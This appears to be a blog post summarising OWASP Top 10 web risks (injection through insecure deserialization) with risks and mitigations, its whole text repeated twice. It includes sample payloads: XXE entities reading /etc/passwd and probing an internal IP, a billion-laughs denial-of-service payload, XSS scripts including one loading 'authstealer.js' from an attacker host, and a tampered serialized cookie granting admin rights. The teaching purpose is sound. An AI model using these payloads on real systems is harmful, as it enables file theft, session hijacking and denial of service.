OWASP
OWASP is non profitable worldwide charitable organization focuses on improving the security of web applications, with the intension to make application security visible and to understand application security risks.
OWASP is the group focused on understanding and improving the security of web applications and web services.
Network Security Mostly Ignores the Contents of HTTP Traffic.
SSL, Intrusion Detection Systems, Operating System Hardening, Database Hardening.
Web Application Security is just as important as Network Security.
==================================
A1-Injection Attack:
===================================
Injection attack is injecting malicious code to the application through input parameters of the application while the parameters being passed to the interpreters. There are different types of Injection attacks:
SQL injection is Injecting malicious SQL characters through the parameters manipulating the underlying queries affecting / revealing the database server data.
Command injection is injecting OS commands to run on the application hosted server via vulnerable application parameters.
XML injection is injecting malicious XML content into an XML file to manipulate the structure/content of the application.
LDAP Injection is the execution of malicious statements passed to dynamic LDAP queries to exploit directory information.
There are few other injection attacks such as Log injection, CRLF Injection, Host header injection etc.,
Risk Involved:
Create/Update/Delete data in the back end.
Drop/Delete tables/database.
Server can be compromised by command injection attack:
Server shutdown
Deletion of files
Corrupt the OS memory/files
Authentication/Authorization can be bypassed.
Prevention:
Never trust any Input ( Web service, 3rd party application, user .. )
Whitelist validation for all the inputs.
Use Parameterized queries instead of dynamic queries.
Parameterized stored Procedures with Proper validation.
Least privilege
=============================================================
A2-Broken Authentication and session Management
=============================================================
Web application must establish session to keep track of the stream of request from each user. HTTP does not provide this, web application developers must create this themselves.
If the session tokens are not properly protected, an attacker can hijack an active session and use the identity of a user.
Authentication and session management process has to be hardened to gain and maintain the trust of the users.
Risks:
Un-Authenticated access to application resources.
Identity/session theft.
Passwords can be brute forced / guessed.
Below items lead to Broken Authentication:
Weak password policy.
Dictionary attack : commonly used usernames/passwords.
Weak password storage (Encrypt, plain ..)
Weak Forgot password / Rest password functionality.
credentials/session token’s in query string,
Active session’s after user logout/browser close.
Session Management vulnerable code :
Protected void btnLogout_click(object sender, EventArgs e)
{
Response.redirect(“~/InsuredLogin/LoginPage.aspx”)
}
Session Management mitigation code :
Protected void btnLogout_click(object sender, EventArgs e)
{
Session.Clear();
Session.Abandon();
currentUserCookie.Expires = DateTime.Now;
currentUserCookie.Value = null;
HttpContext.Current.Response.SetCookie(currentUserCookie);
Response.redirect(“~/InsuredLogin/LoginPage.aspx”);
}
Mitigation controls for Broken Authentication:
User should not use default credentials.
Implement multi-factor authentication based upon application data sensitivity.
Passwords must be stored as iterative salted hashes.
Storing passwords should be hashed by algorithms like bcrypt, PBKDF2-SHA2, PBKDF2-SHA3.
Refer BR Encryption standard and BR Authentication Standards.
Implement strong password policies:
Min 8 character length.
Use 4 out of 4 cases for password creation(Upper Case, Lower case, Numeric and special character)
Password should changed at least for every 90 days (varies based on the role of the user)
Password history must be enforced.
Password change upon Reset.
Mitigation controls for Session Management:
Credentials should be protected: Authentication credentials should be protected while in transit/storage via Encryption/Hashing based on the BISG standards.
Do not expose session ID in the URL: Session IDs should not be exposed in the URL (e.g., URL rewriting).
Session IDs should timeout: User sessions or authentication tokens should be properly invalidated during inactivity/logout/browser closure.
Recreate session IDs: Session IDs should be recreated after successful login.
Do not send credentials over unencrypted connections: Passwords, session IDs, and other credentials should not be sent over unencrypted connections.
=============================================================
A3-Sensitive Data Exposure
=============================================================
Maintaining sensitive data like passwords, connection strings, Credit card info etc., without/weak encryption can lead to sensitive data exposure.
When information is not protected properly from the unauthorized users would lead to sensitive data exposure which indeed can be misused by the attacker..
Plain text data transit or weak transport layer security can lead to sensitive data exposure.
Code:
1) Maintaining unencrypted connection strings in application/Web.config files:
<connectionStrings>
<add name=”sqlcon” connectionString=”Provider=SQLOEDB.1”; User ID =sa;Password=Testuser;
Persist Security Info=True;Data Source=ZIBACDA19944\MSSQLSERVER2016”/>
</connectionStrings>
2) Sensitive data exposure over transit:
http:// www.test. com/login.php?userid=test&pas=password
3) Maintain unnecessary user Info in Log files:
Mitigation Controls
Avoiding unnecessary sensitive data storage (at both client and server side) Discard while no use.
Caching should be disabled for the pages which contain sensitive information.
Secure the sensitive data while in transit and at rest.
Ensure passwords are stored with algorithms specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
=============================================================
A4-XML External Entities
=============================================================
XML External Entity(XXE) attacks generally happen when the application accepts and processes the XML inputs without a proper validation due to weak XML parsers.
XXE describes a Data Type Definition(DTD) type attack where it uses the advantage of XML entities which allow the executing of external reference files, URL’s or commands.
Risks:
An XXE can retrieve the files and their content on a system exposing sensitive data such as user details, passwords.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY bwapp SYSTEM "///etc/passwd"> ]>
<login>&bwapp;</login>
Can make HTTP requests to the internal systems on the same network and thus can perform port scanning and exploiting their data.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY bwapp SYSTEM "http://192.168.50.12"> ]>
<login>&bwapp;</login>
Attacker can steal source code of the web application as well if he knows the location and structure of it.
It can cause a denial of service attack using infinite code i.e entity within an entity.(Billion laughs)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT login ANY>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<login>&lol4;</login>
By using payloads, the attacker can use the vulnerable application to attack other systems.
Mitigation:
Disable DTDs(External Entities) completely. This also makes it secure against DOS attacks through external entities.
Make sure to validate the XML file uploads using XSD or any other strong validation methods to verify the content. There are different parsers to prevent XXE based on the programming language:
C, C++ : libxml2, libxerces-c
Java : XMLInputFactory, TransformerFactory, Unmarshaller etc.,
.Net : LINQ to XML, XmlDictionaryReader, XmlReader, XmlNodeReader
Patching and upgrading XML processors.
=============================================================
A5-Broken Access control
=============================================================
Access control or authorization is the level of permissions given to the users to access the application based on their roles.
A Broken access control would allow attacker to bypass the access controls leading unauthorized access to application resources.
Applications that do not have a proper access control policy documented and implemented are vulnerable.
Risk:
Authorization bypass
Forceful browsing to Un-authorized pages.
http://abc.com/Info
A normal user who could access an info page could force browse the admin page by knowing/guessing it.
http://abc.com/AdminInfo
Parameter tampering
A user could easily manipulate the ‘acct’ parameter value to view the account details of other users.
http://example.com/app/accountInfo?acct=someacctnum
A normal user could view the page as an admin by simply manipulating ‘admin’ parameter value to 1.
http://example.com/app/admin=0
Create/Update/Delete un-Authorized data.
Mitigation:
Always verifying the role/ access rights of the user
Before performing CRUD operations
while navigating to the different pages/functions
Ensure BISG accepted access control policy is documented and implemented.
=============================================================
A6-Security Misconfiguration
=============================================================
Security misconfiguration vulnerabilities are identified in the configurations of application/web servers, database servers, operating systems, firewalls, frameworks etc. The misconfiguration helps in exploiting the weaknesses found in the system.
A correct configuration is all about following the industry best practices which are proven.
Risk:
Displaying Stack Traces, verbose error messages, Server error codes.
Directory listings.
Using insufficient transport layer protection such as SSLv2, SSLv3, weak ciphers etc., permits the attacker to gain access to sensitive data in transit.
Vulnerable config code :
Debug mode set to true.
<compilation debug=“true” targetFramework=“4.5”></compilation>
Improper error handling.
<customErrors mode=“off” />
Tracing enabled.
<trace enabled="true" localOnly="false"/>
Mitigation controls : Config
Do not enable debug mode.
Ensure proper custom error handlers are implemented. The secure way is to display the custom error messages and redirect to appropriate error pages.
<httpErrors errorMode="Custom">
<remove statusCode="404" subStatusCode='-1' />
<remove statusCode="500" subStatusCode='-1' />
<error statusCode="404" path="/404.aspx" prefixLanguageFilePath="" responseMode="ExecuteURL" />
<error statusCode="500" path="/500.aspx" prefixLanguageFilePath="" responseMode="ExecuteURL" /></httpErrors>
Use cookie HTTP header flag with HTTPOnly and Secure.
The Cache-control should be set properly with no-cache directives.
Disallow any dangerous HTTP methods.
Regular configurations audits should be done.
Deployment checklists should be adhered as per BISG standards.
Review old files and backups.
Restrict roles and privileges.
Remove unnecessary files and features.
Never use default accounts/credentials and configuration.
Software should be updated and security patches applied regularly.
=============================================================
A7-Cross site scripting(XSS)
=============================================================
An XSS vulnerability arises when web applications take untrusted data and include it in web application responses without proper sanitization and contextual encoding.
There are three types of XSS:
Reflected XSS : malicious input is part of the request sent to the webserver and reflected back in the response. (Non-persistent)
Stored XSS : malicious input is stored in the application backend resources and included in page responses when accessed. (Persistent)
DOM XSS : is a client side attack to which the malicious scripts write to the Data Object Model and is executed when the data is read back from them.
Stored XSS:
Blogs / comments could be resources for stored XSS.
If attacker writes a comment and includes a malicious scripts in it as
Hi !! <script src="http://Attackerssite.com/authstealer.js">
Any user who loads the page with the comment gets affected.
Reflected XSS:
http://site.com/search?q=docs <script type='text/javascript' >alert(‘Hacked’)</script>
can get embedded into HTML and executed in the browser.
<p>You searched for ‘docs <script type=‘text/javascript>alert(‘Hacked’)</script>'returned the results:</p>
DOM based XSS:
A page having the URL as http://www.some.site/page.html?default=English
That is embedded into
<script> var pos=document.URL.indexOf(“default=")+9;
var userInput=document.URL.substring(pos,document.URL.length);
document.write(unescape(userInput)); </script>
could be manipulated using DOM objects as
http://www.some.site/page.html?default=<script>alert(‘Hacked’)</script>
Risks involved
Cookie theft.
Deface the site.
User impersonation.
Compromise users accounts there by stealing their data.
Redirect to malicious websites/phishing.
Mitigation controls:
Treat all input as untrusted.
Validate all the inputs using white list approach.
string pattern = @“[a-zA-Z0-9]$”;
Regex regexp = new Regex(pattern);
return regexp.IsMatch(userName)
Context based encoding so that the input is treated as data and not as code.
String inputURL = request.getParameter(“inputURL")
boolean isValidURL = Validator.IsValidURL(inputURL , 255);
if (isValidURL) {
value = ESAPI.encoder().encodeForHTMLAttribute(inputURL)}
Use Content-Security-Policy header. It constrains the browser to use resources from only trusted sources.
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self‘reflected-xss block" />
Use HTTPOnly flags.
=============================================================
A8-Insecure Deserialization
=============================================================
Applications and APIs are vulnerable if attacker supplied hostile or tampered objects are deserialized.
This can result in two primary types of attacks:
Object and data structure related attacks such as achieving of arbitrary remote code execution
Data tampering attacks.
A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
An attacker changes the serialized object to give themselves admin privileges:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Mitigation controls
Integrity checks or encryption of the serialized objects.
Enforce strict type constraints during deserialization before object creation.
Isolate code that deserializes, such that it runs in very low privilege environments, such as temporary containers.
Log deserialization exceptions and failures
OWASP is non profitable worldwide charitable organization focuses on improving the security of web applications, with the intension to make application security visible and to understand application security risks.
OWASP is the group focused on understanding and improving the security of web applications and web services.
Network Security Mostly Ignores the Contents of HTTP Traffic.
SSL, Intrusion Detection Systems, Operating System Hardening, Database Hardening.
Web Application Security is just as important as Network Security.
==================================
A1-Injection Attack:
===================================
Injection attack is injecting malicious code to the application through input parameters of the application while the parameters being passed to the interpreters. There are different types of Injection attacks:
SQL injection is Injecting malicious SQL characters through the parameters manipulating the underlying queries affecting / revealing the database server data.
Command injection is injecting OS commands to run on the application hosted server via vulnerable application parameters.
XML injection is injecting malicious XML content into an XML file to manipulate the structure/content of the application.
LDAP Injection is the execution of malicious statements passed to dynamic LDAP queries to exploit directory information.
There are few other injection attacks such as Log injection, CRLF Injection, Host header injection etc.,
Risk Involved:
Create/Update/Delete data in the back end.
Drop/Delete tables/database.
Server can be compromised by command injection attack:
Server shutdown
Deletion of files
Corrupt the OS memory/files
Authentication/Authorization can be bypassed.
Prevention:
Never trust any Input ( Web service, 3rd party application, user .. )
Whitelist validation for all the inputs.
Use Parameterized queries instead of dynamic queries.
Parameterized stored Procedures with Proper validation.
Least privilege
=============================================================
A2-Broken Authentication and session Management
=============================================================
Web application must establish session to keep track of the stream of request from each user. HTTP does not provide this, web application developers must create this themselves.
If the session tokens are not properly protected, an attacker can hijack an active session and use the identity of a user.
Authentication and session management process has to be hardened to gain and maintain the trust of the users.
Risks:
Un-Authenticated access to application resources.
Identity/session theft.
Passwords can be brute forced / guessed.
Below items lead to Broken Authentication:
Weak password policy.
Dictionary attack : commonly used usernames/passwords.
Weak password storage (Encrypt, plain ..)
Weak Forgot password / Rest password functionality.
credentials/session token’s in query string,
Active session’s after user logout/browser close.
Session Management vulnerable code :
Protected void btnLogout_click(object sender, EventArgs e)
{
Response.redirect(“~/InsuredLogin/LoginPage.aspx”)
}
Session Management mitigation code :
Protected void btnLogout_click(object sender, EventArgs e)
{
Session.Clear();
Session.Abandon();
currentUserCookie.Expires = DateTime.Now;
currentUserCookie.Value = null;
HttpContext.Current.Response.SetCookie(currentUserCookie);
Response.redirect(“~/InsuredLogin/LoginPage.aspx”);
}
Mitigation controls for Broken Authentication:
User should not use default credentials.
Implement multi-factor authentication based upon application data sensitivity.
Passwords must be stored as iterative salted hashes.
Storing passwords should be hashed by algorithms like bcrypt, PBKDF2-SHA2, PBKDF2-SHA3.
Refer BR Encryption standard and BR Authentication Standards.
Implement strong password policies:
Min 8 character length.
Use 4 out of 4 cases for password creation(Upper Case, Lower case, Numeric and special character)
Password should changed at least for every 90 days (varies based on the role of the user)
Password history must be enforced.
Password change upon Reset.
Mitigation controls for Session Management:
Credentials should be protected: Authentication credentials should be protected while in transit/storage via Encryption/Hashing based on the BISG standards.
Do not expose session ID in the URL: Session IDs should not be exposed in the URL (e.g., URL rewriting).
Session IDs should timeout: User sessions or authentication tokens should be properly invalidated during inactivity/logout/browser closure.
Recreate session IDs: Session IDs should be recreated after successful login.
Do not send credentials over unencrypted connections: Passwords, session IDs, and other credentials should not be sent over unencrypted connections.
=============================================================
A3-Sensitive Data Exposure
=============================================================
Maintaining sensitive data like passwords, connection strings, Credit card info etc., without/weak encryption can lead to sensitive data exposure.
When information is not protected properly from the unauthorized users would lead to sensitive data exposure which indeed can be misused by the attacker..
Plain text data transit or weak transport layer security can lead to sensitive data exposure.
Code:
1) Maintaining unencrypted connection strings in application/Web.config files:
<connectionStrings>
<add name=”sqlcon” connectionString=”Provider=SQLOEDB.1”; User ID =sa;Password=Testuser;
Persist Security Info=True;Data Source=ZIBACDA19944\MSSQLSERVER2016”/>
</connectionStrings>
2) Sensitive data exposure over transit:
http:// www.test. com/login.php?userid=test&pas=password
3) Maintain unnecessary user Info in Log files:
Mitigation Controls
Avoiding unnecessary sensitive data storage (at both client and server side) Discard while no use.
Caching should be disabled for the pages which contain sensitive information.
Secure the sensitive data while in transit and at rest.
Ensure passwords are stored with algorithms specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
=============================================================
A4-XML External Entities
=============================================================
XML External Entity(XXE) attacks generally happen when the application accepts and processes the XML inputs without a proper validation due to weak XML parsers.
XXE describes a Data Type Definition(DTD) type attack where it uses the advantage of XML entities which allow the executing of external reference files, URL’s or commands.
Risks:
An XXE can retrieve the files and their content on a system exposing sensitive data such as user details, passwords.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY bwapp SYSTEM "///etc/passwd"> ]>
<login>&bwapp;</login>
Can make HTTP requests to the internal systems on the same network and thus can perform port scanning and exploiting their data.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY bwapp SYSTEM "http://192.168.50.12"> ]>
<login>&bwapp;</login>
Attacker can steal source code of the web application as well if he knows the location and structure of it.
It can cause a denial of service attack using infinite code i.e entity within an entity.(Billion laughs)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT login ANY>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<login>&lol4;</login>
By using payloads, the attacker can use the vulnerable application to attack other systems.
Mitigation:
Disable DTDs(External Entities) completely. This also makes it secure against DOS attacks through external entities.
Make sure to validate the XML file uploads using XSD or any other strong validation methods to verify the content. There are different parsers to prevent XXE based on the programming language:
C, C++ : libxml2, libxerces-c
Java : XMLInputFactory, TransformerFactory, Unmarshaller etc.,
.Net : LINQ to XML, XmlDictionaryReader, XmlReader, XmlNodeReader
Patching and upgrading XML processors.
=============================================================
A5-Broken Access control
=============================================================
Access control or authorization is the level of permissions given to the users to access the application based on their roles.
A Broken access control would allow attacker to bypass the access controls leading unauthorized access to application resources.
Applications that do not have a proper access control policy documented and implemented are vulnerable.
Risk:
Authorization bypass
Forceful browsing to Un-authorized pages.
http://abc.com/Info
A normal user who could access an info page could force browse the admin page by knowing/guessing it.
http://abc.com/AdminInfo
Parameter tampering
A user could easily manipulate the ‘acct’ parameter value to view the account details of other users.
http://example.com/app/accountInfo?acct=someacctnum
A normal user could view the page as an admin by simply manipulating ‘admin’ parameter value to 1.
http://example.com/app/admin=0
Create/Update/Delete un-Authorized data.
Mitigation:
Always verifying the role/ access rights of the user
Before performing CRUD operations
while navigating to the different pages/functions
Ensure BISG accepted access control policy is documented and implemented.
=============================================================
A6-Security Misconfiguration
=============================================================
Security misconfiguration vulnerabilities are identified in the configurations of application/web servers, database servers, operating systems, firewalls, frameworks etc. The misconfiguration helps in exploiting the weaknesses found in the system.
A correct configuration is all about following the industry best practices which are proven.
Risk:
Displaying Stack Traces, verbose error messages, Server error codes.
Directory listings.
Using insufficient transport layer protection such as SSLv2, SSLv3, weak ciphers etc., permits the attacker to gain access to sensitive data in transit.
Vulnerable config code :
Debug mode set to true.
<compilation debug=“true” targetFramework=“4.5”></compilation>
Improper error handling.
<customErrors mode=“off” />
Tracing enabled.
<trace enabled="true" localOnly="false"/>
Mitigation controls : Config
Do not enable debug mode.
Ensure proper custom error handlers are implemented. The secure way is to display the custom error messages and redirect to appropriate error pages.
<httpErrors errorMode="Custom">
<remove statusCode="404" subStatusCode='-1' />
<remove statusCode="500" subStatusCode='-1' />
<error statusCode="404" path="/404.aspx" prefixLanguageFilePath="" responseMode="ExecuteURL" />
<error statusCode="500" path="/500.aspx" prefixLanguageFilePath="" responseMode="ExecuteURL" /></httpErrors>
Use cookie HTTP header flag with HTTPOnly and Secure.
The Cache-control should be set properly with no-cache directives.
Disallow any dangerous HTTP methods.
Regular configurations audits should be done.
Deployment checklists should be adhered as per BISG standards.
Review old files and backups.
Restrict roles and privileges.
Remove unnecessary files and features.
Never use default accounts/credentials and configuration.
Software should be updated and security patches applied regularly.
=============================================================
A7-Cross site scripting(XSS)
=============================================================
An XSS vulnerability arises when web applications take untrusted data and include it in web application responses without proper sanitization and contextual encoding.
There are three types of XSS:
Reflected XSS : malicious input is part of the request sent to the webserver and reflected back in the response. (Non-persistent)
Stored XSS : malicious input is stored in the application backend resources and included in page responses when accessed. (Persistent)
DOM XSS : is a client side attack to which the malicious scripts write to the Data Object Model and is executed when the data is read back from them.
Stored XSS:
Blogs / comments could be resources for stored XSS.
If attacker writes a comment and includes a malicious scripts in it as
Hi !! <script src="http://Attackerssite.com/authstealer.js">
Any user who loads the page with the comment gets affected.
Reflected XSS:
http://site.com/search?q=docs <script type='text/javascript' >alert(‘Hacked’)</script>
can get embedded into HTML and executed in the browser.
<p>You searched for ‘docs <script type=‘text/javascript>alert(‘Hacked’)</script>'returned the results:</p>
DOM based XSS:
A page having the URL as http://www.some.site/page.html?default=English
That is embedded into
<script> var pos=document.URL.indexOf(“default=")+9;
var userInput=document.URL.substring(pos,document.URL.length);
document.write(unescape(userInput)); </script>
could be manipulated using DOM objects as
http://www.some.site/page.html?default=<script>alert(‘Hacked’)</script>
Risks involved
Cookie theft.
Deface the site.
User impersonation.
Compromise users accounts there by stealing their data.
Redirect to malicious websites/phishing.
Mitigation controls:
Treat all input as untrusted.
Validate all the inputs using white list approach.
string pattern = @“[a-zA-Z0-9]$”;
Regex regexp = new Regex(pattern);
return regexp.IsMatch(userName)
Context based encoding so that the input is treated as data and not as code.
String inputURL = request.getParameter(“inputURL")
boolean isValidURL = Validator.IsValidURL(inputURL , 255);
if (isValidURL) {
value = ESAPI.encoder().encodeForHTMLAttribute(inputURL)}
Use Content-Security-Policy header. It constrains the browser to use resources from only trusted sources.
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self‘reflected-xss block" />
Use HTTPOnly flags.
=============================================================
A8-Insecure Deserialization
=============================================================
Applications and APIs are vulnerable if attacker supplied hostile or tampered objects are deserialized.
This can result in two primary types of attacks:
Object and data structure related attacks such as achieving of arbitrary remote code execution
Data tampering attacks.
A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
An attacker changes the serialized object to give themselves admin privileges:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Mitigation controls
Integrity checks or encryption of the serialized objects.
Enforce strict type constraints during deserialization before object creation.
Isolate code that deserializes, such that it runs in very low privilege environments, such as temporary containers.
Log deserialization exceptions and failures
Comments
Post a Comment